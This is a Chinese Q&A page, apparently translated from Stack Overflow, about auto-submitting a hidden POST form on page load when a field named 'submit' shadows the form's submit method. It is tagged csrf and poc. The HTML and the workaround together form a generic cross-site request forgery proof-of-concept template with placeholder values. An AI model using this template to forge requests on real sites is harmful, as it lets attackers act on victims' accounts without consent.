编程语言
首页 > 编程语言> > JavaScript表单提交一个名为submit的字段

JavaScript表单提交一个名为submit的字段

作者:互联网

我想知道是否有任何方法(使用JS或其他方法)自动提交带有名称和标识为“提交”的字段的表单.基本上,我的整个HTML代码如下所示:

<html>
<body onl oad=myForm.submit()>
<form id="myForm" name="myForm" action="http://example.com/examplePage.do" method="POST">
<input type=hidden name="val1" id="val1" value="some_Value"/>
<input type=hidden name="val2" id="val2" value="another_Value"/>
<input type=hidden name="val3" id="val3" value="yet_another_Value"/>
<input type=hidden name="submit" id="submit" value="Continue"/>
</form>
</body>
</html>

显然,myForm.submit()返回一个myForm.submit不是函数错误.如果没有“提交”字段,其值为“继续”,则服务器拒绝该请求,并且要求是自动提交此请求.

解决方法:

该表单的提交功能完全无法访问(已被覆盖).你可以从另一种形式窃取一个.

document.createElement('form').submit.call(document.getElementById('myform'))

在旧的IE中不起作用. (我认为支持从IE7开始出现)

标签:html,javascript,csrf,form-submit,poc
来源: https://codeday.me/bug/20190925/1816633.html